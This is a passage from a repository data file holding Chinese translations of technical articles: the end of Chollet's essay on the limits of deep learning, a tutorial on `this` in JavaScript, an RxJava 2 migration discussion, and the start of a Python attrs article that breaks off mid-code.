深度学习的局限性\n\n我们可以将这个简单的策略应用到各个领域。不过，也有很多领域不在当前深度学习所能达到的范围，即使给它大量的人工注释过的数据。例如，你可以对一个软件的特征进行成百上千次不同的描述，像一个项目经理那样写，同时包含相对应的一组软件工程师开发出来的源代码来满足这些需求。即使有了这些数据，你也不能训练出一个深度学习模型来简单地阅读产品描述并生成一个正确的代码库。而这只是众多例子中的一个。总体上来讲，任何需要推理类的编程，科学的长时期规划，算法类的数据操作都处在深度学习模型之外，不论你给予模型多少数据都没用。即使让深度神经网络学习一个排序算法也是非常困难的。\n\n这是因为一个深度学习模型“只是”一系列简单、连续的几何变换，将一个几何空间映射到另一个。假设 X 到 Y 存在着一个可学习的连续变换，同时有足够密集的 X:Y 的训练数据作为样例，它所能做的一切就是将数据副本 X 映射到另一个副本 Y。所以尽管一个深度学习模型可以被看作是一种程序，反过来大部分程序并不能表示成深度学习模型 —— 对于大多数任务，要么实际上不存在相关的深度学习模型来解决这种任务，或者即使这里存在一个，可能也是不可学习的，也就是说，相关的几何变换可能过于复杂，或者这里可能没有合适的数据来进行学习。\n\n通过增加更多的神经层和使用更多的训练数据，来扩大当前的深度神经网络的规模，只能在一些问题中取得一定的进步。这种方法并不能够解决更多的基础性问题，那些问题在深度学习模型的能力之外，它们无法被表示，并且唯一的学习途径又不能够被表示对一个数据副本的连续几何变换。\n\n## 将机器学习模型人格化的风险\n\n一个目前 AI 领域非常现实的问题，就是错误地阐释深度学习模型的职能，并高估了它们的能力。人类意识的一个基本特征就是“理论思维”，我们倾向于将意图、信仰和知识投影在我们周围的东西上。在一个石头上画一个笑脸能让它“快乐”起来 —— 在我们的意识中。应用在深度学习中，这意味着当我们能够成功地训练出一个可以添加标题描述图像的模型时，我们会相信那个模型理解了图片的内容，同时也理解所生成的标题。接着，我们会对模型因为任何轻微的异常于训练数据的图片而生成的荒谬的标题感到惊讶。\n\n![基于深度学习的标题添加系统出现了错误](https://blog.keras.io/img/limitations-of-dl/caption_fail.png)\n### 这个男孩正拿着一个棒球棒\n\n特别地，这个是被强调的“对抗样例”，是被设计用于欺骗模型使它错误归类的。你已经注意到了，对输入空间扩充来产生能够最大化一些卷积网络滤波器（convnet filter）的输入，例如 —— 这是我们在第五章中介绍的滤波器可视化技术的基础（注：在 [Deep Learning with Python](https://www.manning.com/books/deep-learning-with-python?a_aid=keras&a_bid=76564dff)中），还有第八章的 Deep Dream 算法。相似地，通过梯度增加，模型可以通过轻微地修改一幅照片来最大化给定的种类的预测空间。通过给熊猫照一张照片，并给它加入“长臂猿”的梯度，我们可以得到一个将这只熊猫归为长臂猿的神经网络。这证明了这些模型的脆弱之处，以及它们所进行的输入输出映射与人类意识的巨大不同。\n\n![一个对抗性的例子：图像中不可察觉的变化可以提升模型对图像的分类能力。](https://blog.keras.io/img/limitations-of-dl/adversarial_example.png)\n\n简而言之，深度学习模型一点也不理解它们的输入，至少从人类的角度来看（人类的理解）。我们对于图像、声音和语言的理解是基于我们人类的感觉——这是体现在全地球的生物身上的。机器学习模型是没有这方面的经验的，也因此无法以人类的方法“理解”它们得到的输入。通过标注大量的训练样例并代入训练模型，我们使得它们能够学习到几何变换，从而将这一集合中的例子映射到人类的概念之中，不过这个映射只是我们的意识中最简单最原始的草图，是从我们经验中的体现 —— 就如镜子中的黯淡影像一般。\n\n![当前的学习模型：就如镜中暗淡的影子](https://blog.keras.io/img/limitations-of-dl/ml_model.png)\n\n作为一个机器学习的实践者，总是要注意这个，而且永远不要陷入陷阱，相信神经网络懂得它们所处理的任务 —— 它们并不懂，至少不是像我们一样理解。它们所被训练于的任务，范围远远窄于我们所希望真正教给它们的东西：仅仅是将训练的目标与输入映射，点对点。如果给它们展示任何偏离它们的训练数据集的东西，它们就会以极为荒谬的方式“坏掉”。\n\n## 局部泛化与极端泛化\n\n看起来，深度学习模型的将输入通过几何变换得到输出的过程与人类的思考学习有着根本上的区别。不仅仅是人们通过自身的经验而不是清晰的训练样例来学习。除了不同的学习过程，两者根本性差异还在于底层表示的本质不同。\n\n人类不止于能够针对刺激立即产生回应，就像深度神经网络或者一个昆虫会做的那样。它们针对着自己目前的状态，它们自己，其他的人，维护着复杂而抽象的模型，并且能够运用这些模型来预测可能的未来情况，进而有一个长期规划。它们有能力将所知的概念整合去表述一些它们从未见过的东西 —— 比如画一个穿牛仔裤的马，或者想象如果他们赢了彩票他们会干什么。这种能够处理假象，将我们的思维模型空间扩展至我们能够直接经历的之外的能力，可以说是定义人类认知的特征。我管它叫做“极端泛化”：一种从未经历过某些情况，但能够运用非常少量的数据甚至没有新的数据，来适应新事物的能力。\n\n这与深度神经网络所做的事情完全相反，我叫它“局部泛化”：神经网络将输入输出映射的过程若遇到了偏离之前训练集的内容，即使差别不大，也会出现问题。考虑一下这个例子，学习能够使火箭在月球着陆的参数。如果你使用深度神经网络来解决这个任务，不管使用监督学习还是加强学习，你需要给予模型成千上万次的发射试验数据，也就是说，你需要将它暴露给密集采样的输入空间，来习得一个可靠的输入到输出空间的映射。恰恰相反的是，人类可以用他们抽象的能力建立物理模型——航空科学——并仅仅通过很少的试验得出一个能使火箭安全到达月球的解决方案。相似地，如果你想开发出一个深度网络来控制人的身体，并希望能够学会如何在一个城市中安全地行走而不被车撞倒，神经网络则会需要死亡成千上百次才能识别出车辆和危险，并生成避开的动作。若被放到一个新的城市中，神经网络会需要重新学习大部分之前的东西。另一方面，人类却不需要死亡一次就能够学习到安全的规避动作，这归功于他们能够在假象情况下抽象出模型的能力。\n\n![局部泛化 vs 极端泛化](https://blog.keras.io/img/limitations-of-dl/local_vs_extreme_generalization.png)\n\n简而言之，尽管我们有在机器感知方面的进步，我们仍然离人类层次的 AI 有着非常远的距离：我们的模型目前只能够进行局部泛化，适应于与过去数据非常相近的情况，而人类感知却具有极端泛化的能力，快速适应全新的情形，或者对未来的情况进行长期规划。\n\n## 最后几句\n\n你应该记住：目前深度学习成功的地方只在于接受大量的人工注释的数据，通过连续的几何变换，将空间 X 映射到 空间 Y。这对于几乎所有的工业领域都是革命性的变化，但离人类层次的 AI 还有很长一段路要走。\n\n要想移除一些限制并与人类的大脑相比，我们需要将直接的输入输出映射去掉，改而关注于推理和抽象。一个可能的对不同情况和概念进行抽象建模的基质是计算机程序。如我们之前所说（在[Deep Learning with Python](https://www.manning.com/books/deep-learning-with-python?a_aid=keras&amp;a_bid=76564dff)中），机器学习模型可以被定义为“有学习能力的程序”；如今我们只有很小的一部分程序具有学习能力（对于所有的计算机程序来说）。但如果我们以模块化和可重复化来学习任意的程序呢？让我们在下一篇文章中看看未来的路可能是什么样子。\n\n我的第二篇在此：[The future of deep learning（深度学习的未来）](https://github.com/xitu/gold-miner/blob/master/TODO/the-future-of-deep-learning.md)\n\n**作者：[@fchollet](https://twitter.com/fchollet), May 2017**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-many-faces-of-this-in-javascript.md",
    "content": "\n> * 原文地址：[The many faces of `this` in javascript](https://blog.pragmatists.com/the-many-faces-of-this-in-javascript-5f8be40df52e)\n> * 原文作者：[Michał Witkowski](https://blog.pragmatists.com/@michal.witkowski?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-many-faces-of-this-in-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-many-faces-of-this-in-javascript.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[lampui](https://github.com/lampui), [zerosrat](https://github.com/zerosrat)\n\n# Javascript 中多样的 this\n\n![](https://cdn-images-1.medium.com/max/800/1*7SJ32rCU2QasXn9Uyv8NyQ.jpeg)\n\n本文将尽量解释清楚 JavaScript 中最基础的部分之一：执行上下文（execution context）。如果你经常使用 JS 框架，那理解 `this` 更是锦上添花。但如果你想更加认真地对待编程的话，理解上下文无疑是非常重要的。\n\n我们可以像平常说话一样来使用 `this`。例如：我会说“我妈很不爽，这（this）太糟糕了”，而不会说“我妈很不爽，我妈很不爽这件事太糟糕了”。理解了 `this` 的上下文，才会理解我们为什么觉得很糟糕。\n\n现在试着把这个例子与编程语言联系起来。在 Javascript 中，我们将 `this` 作为一个快捷方式，一个引用。它指向其所在上下文的某个对象或变量。\n\n现在这么说可能会让人不解，不过很快你就能理解它们了。\n\n\n## **全局上下文**\n\n如果你和某人聊天，在刚开始对话、没有做介绍、没有任何上下文时，他对你说：“这（this）太糟糕了”，你会怎么想？大多数情况人们会试图将“这（this）”与周围的事物、最近发生的事情联系起来。\n\n对于浏览器来说也是如此。成千上万的开发者在没有上下文的情况下使用了 `this`。我们可怜的浏览器只能将 `this` 指向一个全局对象（大多数情况下是 window）。\n\n```\nvar a = 15;\nconsole.log(this.a);\n// => 15\nconsole.log(window.a);\n// => 15\n```\n[以上代码需在浏览器中执行]\n\n函数外部的任何地方都为全局上下文，`this` 始终指向全局上下文（window 对象）。\n\n## 函数上下文\n\n以真实世界来类比，函数上下文可以看成句子的上下文。“我妈很不爽，这（this）很不妙。”我们都知道这句话中的 `this` 是什么意思。其它句子中同样可以使用 `this`，但是由于其处于所处上下文不同因而意思全然不同。例如，“风暴来袭，这（this）太糟糕了。”\n\nJavaScript 的上下文与对象有关，它取决于函数被执行时所在的对象。因此 `this` 会指向被执行函数所在的对象。\n\n```\nvar a = 20;\n\nfunction gx () {\n    return this;\n}\n\nfunction fx () {\n    return this.a;\n}\n\nfunction fy () {\n    return window.a;\n}\n\nconsole.log(gx() === window);\n// => True\nconsole.log(fx());\n// => 20\nconsole.log(fy());\n// => 20\n```\n\n`this` 由函数被调用的方式决定。如你所见，上面的所有函数都是在全局上下文中被调用。\n\n```\nvar o = {\n  prop: 37,\n  f: function() {\n    return this.prop;\n  }\n};\n\nconsole.log(o.f());\n// => 37\n```\n\n当一个函数是作为某个对象的方法被调用时，它的 `this` 指向的就是这个方法所在的对象。\n\n```\nfunction fx () {\n    return this;\n}\n\nvar obj = {\n    method: function () {\n        return this;\n    }\n};\n\nvar x_obj = {\n    y_obj: {\n        method: function () {\n            return this;\n        }\n    }\n};\n\nconsole.log(fx() === window);\n// => True — 我们仍处于全局上下文中。\nconsole.log(obj.method() === window);\n// => False — 函数作为一个对象的方法被调用。\nconsole.log(obj.method() === obj);\n// => True — 函数作为一个对象的方法被调用。\nconsole.log(x_obj.y_obj.method() === x_obj)\n// => False — 函数作为 y_obj 对象的方法被调用，因此 `this` 指向的是 y_obj 的上下文。\n```\n\n**例 4**\n\n```\nfunction f2 () {\n  'use strict'; \n  return this;\n}\n\nconsole.log(f2() === undefined);\n// => True\n```\n\n在严格模式下，全局作用域的函数在全局作用域被调用时，`this` 为 `undefined`。\n\n**例 5**\n\n```\nfunction fx () {\n    return this;\n}\n\nvar obj = {\n    method: fx\n};\n\nconsole.log(obj.method() === window);\n// => False\nconsole.log(obj.method() === obj);\n// => True\n```\n\n与前面的例子一样，无论函数是如何被定义的，在这儿它都是作为一个对象方法被调用。\n\n**例 6**\n\n```\nvar obj = {\n    method: function () {\n        return this;\n    }\n};\n\nvar sec_obj = {\n    method: obj.method\n};\n\nconsole.log(sec_obj.method() === obj);\n// => False\nconsole.log(sec_obj.method() === sec_obj);\n// => True\n```\n\n`this` 是动态的，它可以由一个对象指向另一个对象。\n\n**例 7**\n\n```\nvar shop = {\n  fruit: \"Apple\",\n  sellMe: function() {\n    console.log(\"this \", this.fruit);\n// => this Apple\n    console.log(\"shop \", shop.fruit);\n// => shop Apple\n  }\n}\n\nshop.sellMe()\n```\n\n我们既能通过 `shop` 对象也能通过 `this` 来访问 `fruit` 属性。\n\n**例 8**\n\n```\nvar Foo = function () {\n    this.bar = \"baz\"; \n};\n\nvar foo = new Foo();\n\nconsole.log(foo.bar); \n// => baz\nconsole.log(window.bar);\n// => undefined\n```\n\n现在情况不同了。`new` 操作符创建了一个对象的实例。因此函数的上下文设置为这个被创建的对象实例。\n\n## Call、apply、bind\n\n依旧以真实世界举例：“这（this）太糟糕了，因为我妈开始不爽了。”\n\n这三个方法可以让我们在任何期许的上下文中执行函数。让我们举几个例子看看它们的用法：\n\n**例 1**\n\n```\nvar bar = \"xo xo\";\n\nvar foo = {\n    bar: \"lorem ipsum\"\n};\n\nfunction test () {\n    return this.bar;\n}\n\nconsole.log(test());\n// => xo xo — 我们在全局上下文中调用了 test 函数。\nconsole.log(test.call(foo)); \n// => lorem ipsum — 通过使用 `call`，我们在 foo 对象的上下文中调用了 test 函数。\nconsole.log(test.apply(foo));\n// => lorem ipsum — 通过使用 `apply`，我们在 foo 对象的上下文中调用了 test 函数。\n```\n\n这两种方法都能让你在任何需要的上下文中执行函数。\n\n`apply` 可以让你在调用函数时将参数以不定长数组的形式传入，而 `call` 则需要你明确参数。\n\n**例 2**\n\n```\nvar a = 5;\n\nfunction test () {\n    return this.a;\n}\n\nvar bound = test.bind(document);\n\nconsole.log(bound()); \n// => undefined — 在 document 对象中没有 a 这个变量。\nconsole.log(bound.call(window)); \n// => undefined — 在 document 对象中没有 a 这个变量。在这个情况中，call 不能改变上下文。\n\nvar sec_bound = test.bind({a: 15})\n\nconsole.log(sec_bound())\n// => 15 — 我们创建了一个新对象 {a:15}，并在此上下文中调用了 test 函数。\n```\n\n`bind` 方法返回的函数的下上文会被永久改变。\n在使用 bind 之后，其上下文就固定了，无论你再使用 call、apply 或者 bind 都无法再改变其上下文。\n\n## **箭头函数（ES6）**\n\n箭头函数是 ES6 中的一个新语法。它是一个非常方便的工具，不过你需要知道，在箭头函数中的上下文与普通函数中的上下文的定义是不同的。让我们举例看看。\n\n**例 1**\n\n```\nvar foo = (() => this);\nconsole.log(foo() === window); \n// => True\n```\n\n当我们使用箭头函数时，`this` 会保留其封闭范围的上下文。\n\n**例 2**\n\n```\nvar obj = {method: () => this};\n\nvar sec_obj = {\n  method: function() {\n    return this;\n  }\n};\n\nconsole.log(obj.method() === obj);\n// => False\nconsole.log(obj.method() === window);\n// => True\nconsole.log(sec_obj.method() === sec_obj);\n// => True\n```\n\n请注意箭头函数与普通函数的不同点。在这个例子中使用箭头函数时，我们仍然处于 window 上下文中。\n我们可以这么看：\n\n> *x => this.y equals function (x) { return this.y }.bind(this)*\n\n可以将箭头函数看做其始终 `bind` 了函数外层上下文的 `this`，因此不能将它作为构造函数使用。下面的例子也说明了其不同之处。\n\n**例 3**\n\n```\nvar a = \"global\";\n\nvar obj = {\n method: function () {\n   return {\n     a: \"inside method\",\n     normal: function() {\n       return this.a;\n     },\n     arrowFunction: () => this.a\n   };\n },\n a: \"inside obj\"\n};\n\nconsole.log(obj.method().normal());\n// => inside method\nconsole.log(obj.method().arrowFunction());\n// => inside obj\n```\n\n当你了解了函数中动态（dynamic） `this` 与词法（lexical）`this` ，在定义新函数的时候请三思。如果函数将作为一个方法被调用，那么使用动态 `this`；如果它作为一个子程序（subroutine）被调用，则使用词法 `this`。\n\n> 译注：了解动态作用域与词法作用域可[阅读此文章](http://www.cnblogs.com/xiaohuochai/p/5700095.html)\n\n## **相关阅读**\n\n- [http://www.joshuakehn.com/2011/10/20/Understanding-JavaScript-Context.html](http://www.joshuakehn.com/2011/10/20/Understanding-JavaScript-Context.html)\n- [http://ryanmorr.com/understanding-scope-and-context-in-javascript/](http://ryanmorr.com/understanding-scope-and-context-in-javascript/)\n- [https://hackernoon.com/execution-context-in-javascript-319dd72e8e2c](https://hackernoon.com/execution-context-in-javascript-319dd72e8e2c)\n- [http://2ality.com/2012/04/arrow-functions.html](http://2ality.com/2012/04/arrow-functions.html)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-next-step-for-reactive-android-programming.md",
    "content": "> * 原文地址：[The Next Step for Reactive Android Programming](http://futurice.com/blog/the-next-step-for-reactive-android-programming)\n* 原文作者：[Tomek Polański](http://futurice.com/people/tomek-polanski)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Goshin](https://github.com/Goshin)\n* 校对者：[tanglie](https://github.com/tanglie1993)、[jamweak](https://github.com/jamweak)\n\n# Android 响应式编程的未来展望\n\n下一代的 RxJava 已经发布：RxJava 2。如果你现在的工作项目使用 RxJava 1，现在可以选择迁移至新版本。但我们是应该马上动手迁移，还是应该等待一段时间，先做些项目的其他工作？\n\n要做出这个决定，你需要仔细考虑一下「投资回报（ROI）」，想想花费时间进行迁移能否在短期或长期内得到回报。\n\n\n## 迁移的好处\n\n### 响应流的兼容性\n\nRxJava 2 其中一个结构性变化就是增加了对 [响应流（Reactive Streams）](https://github.com/reactive-streams/reactive-streams-jvm) 的兼容性。为此，RxJava 只能从头开始重写。\n\n响应流为描述响应式编程库该如何运作提供了一种共同的理解和通用的 API。\n\n我们大多数人并不编写响应式编程库，但相同的 API 可以让我们能够同时使用不同的响应式编程库。\n\n其中一个例子就是 [Reactor 3](https://github.com/reactor/reactor-core) 库，这个库很像 RxJava。如果你是个 Android 开发者，可能没怎么跟它打过交道，因为它只支持 Java 8 及以上版本。\n\n但不管怎样，现在在这两个库之间转换响应流可以像下面这样简单：\n\n![](https://flockler.com/files/sites/377/rxjava_reactor.gif)\n\n绿色代码是 RxJava 2，红色代码是 Reactor 3\n\nReactor 3 相较 RxJava 2 有 10% 至 50% 的性能提升，但遗憾的是不能用在 Android 上。\n\n据我所知 RxJava 2 现在是唯一一个 Android 上支持响应流的库。也就是说，现如今为了响应流而使用 RxJava 2 意义并不大。\n\n \n\n### 负载压力处理 - Observable/Flowable\n\nRxJava 2 新增了一种响应式类型：[Flowable](http://reactivex.io/RxJava/2.x/javadoc/io/reactivex/Flowable.html)，它跟 RxJava 1 中的 Observable 很相似，关键区别在于 Flowable 类型支持[负载压力（backpressure）](https://github.com/ReactiveX/RxJava/wiki/Backpressure)处理。\n\n首先明确一下什么是「支持负载压力处理」。\n\n刚接触 RxJava 2 的开发者经常会听到「Flowable 支持负载压力处理」，想问：「支持负载压力处理就是说我不会遇到 MissingBackpressureException 是吗？」但答案是否定的。\n\n支持负载压力处理就是说当事件消费者的处理能力不能负载源源不断的事件输入时，它可以指定一种策略来处理这些事件。\n\n \n\n#### Flowable\n\n在使用 Flowable 的情况下，你需要指明如何处理这种过载情况，包括以下几种策略：\n\n- 缓存 - 对于消费者不能马上开始处理的事件，RxJava 会把它们缓存起来，等到消费者处理完先前事件时重新输入给消费者。\n\n- 丢弃 - 如果消费者事件处理过慢，它会忽略所有新的到达事件，并在完成当前事件的处理后从最近的一个输入事件开始处理。\n\n- 错误 - 消费者将会抛出 MissingBackpressureException。\n\n在实际情况中，在我们的应用中会遇到负载压力吗？我也很好奇，所以编写了一个调用加速度传感器的 Flowable 例子，读取传感器数据并显示在屏幕上。\n\n\n![ezgif.com-resize.gif](https://lh4.googleusercontent.com/WlQs0ZXPuMRwwvURLtJNbFMt8zs1TJRHVeLMDm2Lr6IudegwaeWqTqyOi_wdZ-TdMHtxa_HNx4AsZi1h9IUW6EOY1lQg-rhQjPJtVSPsoKrLYKGlbhKpchnAt2sL0a5MUF5sWYEX)\n\n利用 Flowable 的加速度计\n\n\n这个 Android 加速度计每秒处理大概 50 次数据读取，而这种频率下的数据显示尚不足以发生负载过重的情况。当然这取决于响应式序列中的每个事件的处理负荷，但也足以说明负载压力并不会经常出现。\n\n#### Observable\n\nObservable 不支持负载压力处理，这意味着 Observable 不会抛出 MissingBackpressureException。如果消费者不能马上处理事件，事件会被缓存起来等待重新输入。\n\n那么我们什么时候该用 Flowable，什么时候又该用 Observable 呢？\n\n在可能会出现负载压力且需要仔细处理对待的时候，我会选择 Flowable。例如上面的加速度计，我仍会使用 Flowable。因为如果我在读取传感器数据时需要额外做一些处理，而不是仅仅把它们显示出来，就有可能出现负载压力。\n\n如果不太可能出现这种情况，应该选择 Observable。用户在一小段时间内点击多次按钮时，把这些事件进行缓存处理也是可以接受的。\n\n不过要注意，使用 Observable 时，如果缓存了过多事件，整个应用会因此崩溃。\n\n我的经验是，在创建 Observable 时，考虑事件源是否对应以下情形：\n\n- 用户点击按钮，每秒最多数个事件，使用 Observable。\n\n- 光线传感器或加速度传感器，每秒几十个事件，使用 Flowable。\n\n\n记住：就算是点击按钮，如果每次处理耗时很长，也会出现负载压力！\n\n \n\n### 性能表现\n\nRxJava 2 的性能表现要[优于](https://github.com/akarnokd/akarnokd-misc/issues/2)上个版本的 RxJava 1.\n\n\n可以用更高性能的库总是好事情。但是，只有当前性能瓶颈在于 RxJava 时，你才能看到明显的提升。\n\n那你又是否曾经面对代码，抱怨「flatMap 实在是太慢了」？\n\n对于一个 Android 应用，计算性能往往不成问题。在多数情况下，UI 渲染才是瓶颈所在。\n\n发生丢帧不是因为有太多计算任务，而是因为布局太过复杂、没有把文件操作放在后台线程，或是在 onDraw 中创建 bitmap 等错误。\n\n\n## 迁移带来的挑战\n\n### 跟 Null 说再见\n\n近年来对于 null 的抵制愈演愈烈，这并不奇怪，即使是 Null 引用的发明者也把它称为是「导致 10 亿美元损失的错误」。\n\n在 RxJava 1 中你还可以使用 null 值。但在新版本，流序列中 null 值的使用会被完全禁止，你将不能再继续使用 null。如果你在当前项目中正使用着 null 值，请做好进行大量改写工作的准备。\n\n你需要寻求一些其他方式，例如[空对象模式](https://sourcemaking.com/refactoring/introduce-null-object)或是 [Optional 对象](https://github.com/tomaszpolanski/Options)，来表示空值。\n \n\n### Dex 限制\n\n你有试过向函数式编程开发者解释「在 Android ，实际上函数的数量存在限制」吗？你可以试试，他们的反应会很有趣。\n\n很遗憾，的确存在这个我们都尽量避免的 65000 个方法的数量限制。（译者注：如果方法超出这个数量，Java 字节码将需要分开存放在两个或多个 Dex 中。这个分割过程可以自动完成，一般无需干预，但在特定场景下，可能会引发问题。）RxJava 1 有大概 5500 个方法，数量不少。而现在 RxJava 2 则有超过 9200 个方法。这 4000 方法数量的增加相较于新增的功能来说还算是可以接受的，但在你逐步迁移的过程中，你也许会需要两个版本的库同时并存。\n\n那么总共差不多就是 15000 个方法，已经占到了 Dex 限制的 22%！\n\n注意以上方法数量的预估未考虑 Proguard 的压缩处理，所以实际中还可以省下几千个方法。\n\n如果你早已经超出了这个限制，则不用担心这个问题。\n\n但如果是十分接近的情况，则要在迁移过程中多加留意是否会超出 Dex 限制。\n\n\n### 编写操作符\n\n![good news.jpg](https://flockler.com/thumbs/sites/377/goog-news_s830x0_q80_noupscale.jpg)\n\nRxJava 现有的操作符（Operator）可能不能满足你的需要。要实现一些自定义的行为机制，你也许会考虑自己编写操作符。\n\n> 现在，给 RxJava 2.x 编写操作符要比给 1.x 编写难上 10 倍。\n> \n> - [Dávid Karnok ](https://github.com/ReactiveX/RxJava/wiki/Writing-operators-for-2.0)\n\n在 RxJava 1 时这也不是一件易事。你需要考虑多线程并发访问和对负载压力的处理支持。\n\n到 RxJava 2 情况变得更加复杂。第一，创建操作符的方式已经改变，不再使用之前饱受诟病的创建方法。而且在 RxJava 2 中，除了多线程并发访问，负载压力处理，消除机制（cancellation）等麻烦问题，你还要考虑用上第四代特性，例如[操作符融合（Operator Fusion）](http://akarnokd.blogspot.de/2016/03/operator-fusion-part-1.html)，来提高操作符的性能。但这同时也增加了编写操作符的复杂性。\n\n那么自己编写自定义操作符值得吗？\n\n除非你是想为 RxJava 2 或其他响应式库贡献代码，否则我都建议用其他方法解决问题。\n\n首先看看能不能通过现有操作符的组合使用来解决问题。或者你可以考虑编写一个[转换器（transformer）](https://github.com/ReactiveX/RxJava/wiki/Implementing-Your-Own-Operators#transformational-operators)。虽然不能像操作符那样高度可定制，但相对而言要容易编写得多。虽然使用操作符还有另一个提升性能的好处，但如上文所述，这种性能提升在 Android 中有很大可能会被浪费或掩盖，因为瓶颈往往在 UI 方面。\n\n如果你仍想编写一个自定义操作符，可以对照一下最简单的操作符（[map](https://github.com/ReactiveX/RxJava/blob/2.x/src/main/java/io/reactivex/internal/operators/observable/ObservableMap.java)），和一个最复杂的操作符（[flatMap](https://github.com/ReactiveX/RxJava/blob/2.x/src/main/java/io/reactivex/internal/operators/observable/ObservableFlatMap.java)），看看你是否要应对挑战。\n \n\n## 总结\n\n以上就是升级到 RxJava 2 带来的主要好处与挑战。但要判断迁移是否值得总得根据你的实际情况而定。\n\n就目前来说，停留在 RxJava 1 十分不错，它仍受开发团队维护和支持。在不久之后，当 RxJava 开发团队不再维护而选择[弃用 RxJava 1](https://github.com/ReactiveX/RxJava/issues/4853#issuecomment-260660000)，届时你也会有更加充分的理由升级到 RxJava 2。\n\n如果你的项目要持续一年以上，你可能需要考虑迁移事宜，否则停留在 RxJava 1 是更好的选择。\n \n\n如果你对如何迁移感兴趣，请留意我的下一篇文章。\n\n \n"
  },
  {
    "path": "TODO/the-one-python-library-everyone-needs.md",
    "content": "> * 原文地址：[The One Python Library Everyone Needs](https://glyph.twistedmatrix.com/2016/08/attrs.html)\n* 原文作者：[glyph](https://twitter.com/glyph)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gran](https://github.com/Graning)\n* 校对者：[Siegen](https://github.com/siegeout), [陈超邦](https://github.com/cbangchen)\n\n# 人人都应该用的 Python 开源库 \n\n你想问为什么？不用问，使用就好了。\n\n好吧好吧，让我来回顾一下吧。\n\n我爱 Python；它作为我的主要编程语言已经超过十年了，尽管在此期间有一些 [有趣](https://www.haskell.org) 且 [不断成长](https://www.rust-lang.org) 的语言出现，但是我并没有计划切换到其他编程语言上面去。\n\n但 Python 也不是完美的。某些情况下，它促使你做了错误的事情。由于类的继承以及许多库使用 God-object  这个反面模式的原因，这种情况不断扩散开来。\n\n也许某个可能的原因是，Python 是一门非常容易上手的语言，所以经验较少的程序员会犯下错误，而那些错误也会 [一直存在](https://twistedmatrix.com/documents/current/core/development/policy/compatibility-policy.html)。\n\n但是我认为也许更重要的原因是，Python有时会惩罚你，因为你试图去做「正确的事情」。\n\n在对象设计的背景下做「正确的事」是让许多小的，独立的类，[只做一件事](https://en.wikipedia.org/wiki/Single_responsibility_principle) 并 [做好](https://www.destroyallsoftware.com/talks/boundaries)。例如，如果你发现你的对象累积了大量的私有方法，也许你应该让私有属性的方法公开。但是如果这样做很麻烦，你可能就不想公开了。\n\n当你在另一处有相关数据包时你可能要定义对象、相互的关系、常量和行为解释。Python 使得它很容易只定义一个元组或列表。当你第一次键入 `host, port = ...` 代替 `address = ...` ，它似乎并不像是一个大问题。但很快你将到处输入 `[(family, socktype, proto, canonname, sockaddr)] = ...` 你的人生将充满遗憾。如果你幸运的话，情况就是这样。但如果你 **不够** 幸运，你只是维护代码，做一些诸如 `values[0][7][4][HOSTNAME][“canonical”]` 的事你的生活将充满各种花式 **痛苦** 而不是遗憾。\n\n* * *\n\n这就提出了一个问题：在 Python 中创建一个类是很令人讨厌的事吗？让我们看一个简单的数据结构：一个三维直角坐标。从它开始应该是足够简单的。\n\n```\nclass Point3D(object):\n```\n\n到现在为止还挺好。我们已经有了一个三维点，接下来是什么？\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n\n```\n\n我只想要一个存储少量数据的容器，但我已经不得不根据内部命名规定重写了 Python 运行时的一个特殊函数方法？我感觉这也不是 **特别** 糟糕；**所有** 的程序在过时之后勉强来说也不过是一种特殊的符号罢了。\n\n至少我看到有我的属性名，这是有道理的。\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x\n\n```\n\n我已经说过我想要一个 `x` ，但现在我必须把它指定为一个属性...\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n\n```\n\n... 为 `x` ？嗯，**很明显** ...\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n\n```\n\n... 现在我必须为每个属性做一次，所以实际上这个 **尺度** 真的把握的很糟糕吗？我一定要每个属性都这样输入 3 次吗 ？！\n\n噢好吧。至少现在我已经完成了。\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n    def __repr__(self):\n\n```\n\n等等，你说我还没有完成是什么意思。\n\n\n```\nclass Point3D(object):\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n    def __repr__(self):\n        return (self.__class__.__name__ +\n                (\"(x={}, y={}, z={})\".format(self.x, self.y, self.z)))\n\n```\n\n噢拜托。我一定要每个属性都输入 5 次它的名字？当我调试的时候如果我希望能够看到里面的内容，甚至说我可以自由的获取其中的某一个元组吗?!\n\n\n```\nclass Point3D(object):\n    def 